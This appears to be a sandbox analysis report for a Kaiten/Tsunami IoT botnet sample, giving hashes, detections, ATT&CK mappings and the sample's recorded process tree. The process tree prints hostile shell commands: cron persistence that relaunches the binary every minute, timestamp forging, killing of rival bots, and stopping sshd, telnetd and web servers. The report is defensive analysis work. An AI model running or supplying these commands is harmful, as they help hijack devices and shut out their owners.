kaiten | c261f8d5089f4040eba3dc4c35afd1d42281d18710f118ae406b7eb4110ea0f7

Analysis

max time kernel
65s
max time network
59s
platform
debian-9_armhf
resource
debian9-armhf-20240226-en
resource tags

arch:armhfimage:debian9-armhf-20240226-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27-03-2024 12:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e1a799b85b84be2db2aac47157b54bc1
Size

42KB
MD5

e1a799b85b84be2db2aac47157b54bc1
SHA1

e5a305ff039a3791bac898c837bcaca1104a981e
SHA256

c261f8d5089f4040eba3dc4c35afd1d42281d18710f118ae406b7eb4110ea0f7
SHA512

aa2739fc8bd3d72445036030a3837a2bb5731914114e958dae2dec3e37928cb5d6a2d604ef49d2202a5f8a812852b19a28ff6aeba1d9836a8c166f627f0f553f
SSDEEP

768:QAaf+RtxGTvWPCtsjLbwn11q1H3pY+s5OwBkZ+7rhCJQOeB8JK3UEg6:ofctsTvC6m/w11q13pYdUtE/Zg6

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/636-1-0x00008000-0x0002c378-memory.dmp	family_kaiten2

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
persistence

Scheduled Task/Job
T1053

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.SS0P6i crontab
Enumerates running processes
Discovers information about currently running processes on the system

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.SS0P6i	crontab

Enumerates kernel/hardware configuration 1 TTPs 45 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

Processes:

systemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctlsystemctl

description	ioc	process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

Processes:

killallkillallkillallkillallsedkillallkillallkillallkillallsystemctlkillallkillallkillallkillallkillallkillallkillallsystemctlkillalle1a799b85b84be2db2aac47157b54bc1

description	ioc	process
File opened for reading	/proc/695/stat	killall
File opened for reading	/proc/265/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/141/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/690/stat	killall
File opened for reading	/proc/698/stat	killall
File opened for reading	/proc/15/stat	killall
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/141/cmdline	killall
File opened for reading	/proc/96/stat	killall
File opened for reading	/proc/636/cmdline	killall
File opened for reading	/proc/147/stat	killall
File opened for reading	/proc/43/stat	killall
File opened for reading	/proc/629/stat	killall
File opened for reading	/proc/141/cmdline	killall
File opened for reading	/proc/284/stat	killall
File opened for reading	/proc/590/stat	killall
File opened for reading	/proc/107/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/284/stat	killall
File opened for reading	/proc/18/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/96/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/570/stat	killall
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/164/stat	killall
File opened for reading	/proc/630/cmdline	killall
File opened for reading	/proc/635/stat	killall
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/96/stat	killall
File opened for reading	/proc/635/stat	killall
File opened for reading	/proc/635/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/135/stat	killall
File opened for reading	/proc/11/stat	killall
File opened for reading	/proc/629/cmdline	killall
File opened for reading	/proc/629/cmdline	killall
File opened for reading	/proc/213/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/634/stat	killall
File opened for reading	/proc/840/stat	killall
File opened for reading	/proc/version	e1a799b85b84be2db2aac47157b54bc1
File opened for reading	/proc/16/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/6/stat	killall
File opened for reading	/proc/695/stat	killall
File opened for reading	/proc/4/stat	killall
File opened for reading	/proc/213/stat	killall
File opened for reading	/proc/584/stat	killall
File opened for reading	/proc/687/stat	killall
File opened for reading	/proc/636/stat	killall
File opened for reading	/proc/703/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/28/stat	killall
File opened for reading	/proc/630/stat	killall

/tmp/e1a799b85b84be2db2aac47157b54bc1
/tmp/e1a799b85b84be2db2aac47157b54bc1
1⤵
- Reads runtime system information
PID:636
- /bin/sh
  sh -c "rm -rf /var/run/wgsh > /dev/null 2>&1 &"
  2⤵
  PID:637
- /bin/sh
  sh -c "rm -rf /var/run/bbsh > /dev/null 2>&1 &"
  2⤵
  PID:639
- /bin/sh
  sh -c "rm -rf /var/run/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:642
- /bin/sh
  sh -c "rm -rf /var/run/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:645
- /bin/sh
  sh -c "rm -rf /var/run/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:650
- /bin/sh
  sh -c "rm -rf /var/run/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:652
- /bin/sh
  sh -c "rm -rf /var/run/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:655
- /bin/sh
  sh -c "rm -rf /var/run/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:658
- /bin/sh
  sh -c "rm -rf /tmp/tty0 > /dev/null 2>&1 &"
  2⤵
  PID:661
- /bin/sh
  sh -c "rm -rf /tmp/tty1 > /dev/null 2>&1 &"
  2⤵
  PID:664
- /bin/sh
  sh -c "rm -rf /tmp/tty2 > /dev/null 2>&1 &"
  2⤵
  PID:667
- /bin/sh
  sh -c "rm -rf /tmp/tty3 > /dev/null 2>&1 &"
  2⤵
  PID:670
- /bin/sh
  sh -c "rm -rf /tmp/tty4 > /dev/null 2>&1 &"
  2⤵
  PID:672
- /bin/sh
  sh -c "rm -rf /tmp/tty5 > /dev/null 2>&1 &"
  2⤵
  PID:675
- /bin/sh
  sh -c "rm -rf /var/run/pty > /dev/null 2>&1 &"
  2⤵
  PID:679
- /bin/sh
  sh -c "killall -9 arm > /dev/null 2>&1 &"
  2⤵
  PID:683
- /bin/sh
  sh -c "killall -9 mips > /dev/null 2>&1 &"
  2⤵
  PID:685
- /bin/sh
  sh -c "killall -9 mipsel > /dev/null 2>&1 &"
  2⤵
  PID:688
- /bin/sh
  sh -c "killall -9 powerpc > /dev/null 2>&1 &"
  2⤵
  PID:691
- /bin/sh
  sh -c "killall -9 ppc > /dev/null 2>&1 &"
  2⤵
  PID:694
- /bin/sh
  sh -c "killall -9 daemon.armv4l.mod > /dev/null 2>&1 &"
  2⤵
  PID:698
- /bin/sh
  sh -c "killall -9 daemon.i686.mod > /dev/null 2>&1 &"
  2⤵
  PID:700
- /bin/sh
  sh -c "killall -9 daemon.mips.mod > /dev/null 2>&1 &"
  2⤵
  PID:702
- /bin/sh
  sh -c "killall -9 daemon.mipsel.mod > /dev/null 2>&1 &"
  2⤵
  PID:704
- /bin/sh
  sh -c "kill -9 `cat /tmp/.xs/*.pid` > /dev/null 2>&1 &"
  2⤵
  PID:707
- /bin/sh
  sh -c "rm -rf /tmp/.xs/* > /dev/null 2>&1 &"
  2⤵
  PID:709
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/e1a799b85b84be2db2aac47157b54bc1"
  2⤵
  PID:713
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/e1a799b85b84be2db2aac47157b54bc1
    3⤵
    PID:714
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/e1a799b85b84be2db2aac47157b54bc1\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x001804289383) > /dev/null 2>&1"
  2⤵
  PID:715
- /bin/sh
  sh -c "echo \"* * * * * /tmp/e1a799b85b84be2db2aac47157b54bc1 > /dev/null 2>&1 &\" >> /var/run/.x001804289383"
  2⤵
  PID:722
- /bin/sh
  sh -c "crontab /var/run/.x001804289383"
  2⤵
  PID:724
- - /usr/bin/crontab
    crontab /var/run/.x001804289383
    3⤵
    - Creates/modifies Cron job
    PID:726
- /bin/sh
  sh -c "rm -rf /var/run/.x001804289383"
  2⤵
  PID:728
- - /bin/rm
    rm -rf /var/run/.x001804289383
    3⤵
    PID:729
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:730
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:731
- /bin/sh
  sh -c "/bin/uname -n"
  2⤵
  PID:732
- - /bin/uname
    /bin/uname -n
    3⤵
    PID:733
- /bin/sh
  sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:830
- /bin/sh
  sh -c "service httpd stop > /dev/null 2>&1 &"
  2⤵
  PID:832
- /bin/sh
  sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"
  2⤵
  PID:835
- /bin/sh
  sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
  2⤵
  PID:837
- /bin/sh
  sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
  2⤵
  PID:839
- /bin/sh
  sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
  2⤵
  PID:842
- /bin/sh
  sh -c "nvram set http_enable=0 > /dev/null 2>&1"
  2⤵
  PID:845
- /bin/sh
  sh -c "killall -9 httpd > /dev/null 2>&1 &"
  2⤵
  PID:847
- /bin/sh
  sh -c "service telnetd stop > /dev/null 2>&1 &"
  2⤵
  PID:849
- /bin/sh
  sh -c "service sshd stop > /dev/null 2>&1 &"
  2⤵
  PID:851
- /bin/sh
  sh -c "killall -9 telnetd > /dev/null 2>&1 &"
  2⤵
  PID:853
- /bin/sh
  sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
  2⤵
  PID:856
- /bin/sh
  sh -c "killall -9 dropbear > /dev/null 2>&1 &"
  2⤵
  PID:861
- /bin/sh
  sh -c "killall -9 sshd > /dev/null 2>&1 &"
  2⤵
  PID:865
- /bin/sh
  sh -c "killall -9 lighttpd > /dev/null 2>&1 &"
  2⤵
  PID:868

/bin/rm
rm -rf /var/run/wgsh
1⤵
PID:638

/bin/rm
rm -rf /var/run/bbsh
1⤵
PID:641

/bin/rm
rm -rf /var/run/tty0
1⤵
PID:644

/bin/rm
rm -rf /var/run/tty1
1⤵
PID:649

/bin/rm
rm -rf /var/run/tty2
1⤵
PID:651

/bin/rm
rm -rf /var/run/tty3
1⤵
PID:654

/bin/rm
rm -rf /var/run/tty4
1⤵
PID:657

/bin/rm
rm -rf /var/run/tty5
1⤵
PID:660

/bin/rm
rm -rf /tmp/tty0
1⤵
PID:662

/bin/rm
rm -rf /tmp/tty1
1⤵
PID:666

/bin/rm
rm -rf /tmp/tty2
1⤵
PID:668

/bin/rm
rm -rf /tmp/tty3
1⤵
PID:671

/bin/rm
rm -rf /tmp/tty4
1⤵
PID:674

/bin/rm
rm -rf /tmp/tty5
1⤵
PID:678

/bin/rm
rm -rf /var/run/pty
1⤵
PID:681

/usr/bin/killall
killall -9 arm
1⤵
- Reads runtime system information
PID:684

/usr/bin/killall
killall -9 mips
1⤵
- Reads runtime system information
PID:687

/usr/bin/killall
killall -9 mipsel
1⤵
- Reads runtime system information
PID:690

/usr/bin/killall
killall -9 powerpc
1⤵
- Reads runtime system information
PID:692

/usr/bin/killall
killall -9 ppc
1⤵
- Reads runtime system information
PID:697

/usr/bin/killall
killall -9 daemon.armv4l.mod
1⤵
- Reads runtime system information
PID:699

/usr/bin/killall
killall -9 daemon.i686.mod
1⤵
- Reads runtime system information
PID:701

/usr/bin/killall
killall -9 daemon.mips.mod
1⤵
- Reads runtime system information
PID:703

/usr/bin/killall
killall -9 daemon.mipsel.mod
1⤵
- Reads runtime system information
PID:706

/bin/cat
cat "/tmp/.xs/*.pid"
1⤵
PID:710

/bin/rm
rm -rf "/tmp/.xs/*"
1⤵
PID:712

/usr/bin/crontab
crontab -l
1⤵
PID:717

/bin/grep
grep -v /tmp/e1a799b85b84be2db2aac47157b54bc1
1⤵
PID:718

/bin/grep
grep -v "no cron"
1⤵
PID:719

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:720

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:833

/usr/sbin/service
service httpd stop
1⤵
PID:834
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:840
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:844
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:846
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:874
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:885
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:887
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:890
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:893
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:896
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:897
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:901
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:903
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:906
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:909
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:911

/usr/bin/killall
killall -9 mini_httpd
1⤵
- Reads runtime system information
PID:836

/usr/bin/killall
killall -9 minihttpd
1⤵
- Reads runtime system information
PID:838

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:843

/usr/bin/killall
killall -9 httpd
1⤵
PID:848

/usr/sbin/service
service telnetd stop
1⤵
PID:850
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:854
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:860
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:866
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:884
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:889
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:892
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:895
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:899
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:902
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:905
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:908
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:912
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:914
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:916
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:918

/usr/sbin/service
service sshd stop
1⤵
PID:852
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:859
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:869
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  PID:870
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:886
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:888
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:891
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:894
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:898
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:900
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:904
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:907
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:910
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:913
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:915
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:917

/usr/bin/killall
killall -9 telnetd
1⤵
- Reads runtime system information
PID:855

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:862

/usr/bin/killall
killall -9 utelnetd
1⤵
- Reads runtime system information
PID:857

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
- Reads runtime system information
PID:863

/usr/bin/killall
killall -9 dropbear
1⤵
- Reads runtime system information
PID:864

/usr/bin/killall
killall -9 sshd
1⤵
- Reads runtime system information
PID:867

/usr/bin/killall
killall -9 lighttpd
1⤵
- Reads runtime system information
PID:871

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:876

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:877

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:880

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:879

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:834

/bin/systemctl
systemctl stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
PID:834

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:852

/bin/systemctl
systemctl stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
PID:852

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:850

/bin/systemctl
systemctl stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
PID:850

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/run/.x001804289383

Filesize
67B

MD5
2d3d2d2c31afb4d2b6c4db108bc2e917

SHA1
a594f4e0f0fdcec04a77bd8a6089d3bfba50263c

SHA256
87eb7c88bc46042fd231cf7c5df6b90dc576375364c721bcba42d9907485d47b

SHA512
716f4900c4b6ed1e279fa5b0c7642d4d06e29c1939c7da60bbc67b747e6a261d159a81217992f697c666fcbe153e2f6f907d9d0c5bcd457e501b4b35976be3c1

Download Submit
/var/spool/cron/crontabs/tmp.SS0P6i

Filesize
264B

MD5
7243562dc4436cd1ba62f0ea5d766aaf

SHA1
37311cebd9aadd8519f806d3ef0c41eedb85cabc

SHA256
728ed61fb386e45c796b6eddec30b3f45dc2d1196d162bf537c2726cf4c7ae66

SHA512
17a5eaacc0ea2a2fef736973ad1e933bbbd1477900699c668c4da04475f977b0d3b8b54c909ca9d2cd3225a3c19425eefc523008a4b33025af627999bb944bc2

Download Submit
memory/636-1-0x00008000-0x0002c378-memory.dmp

Download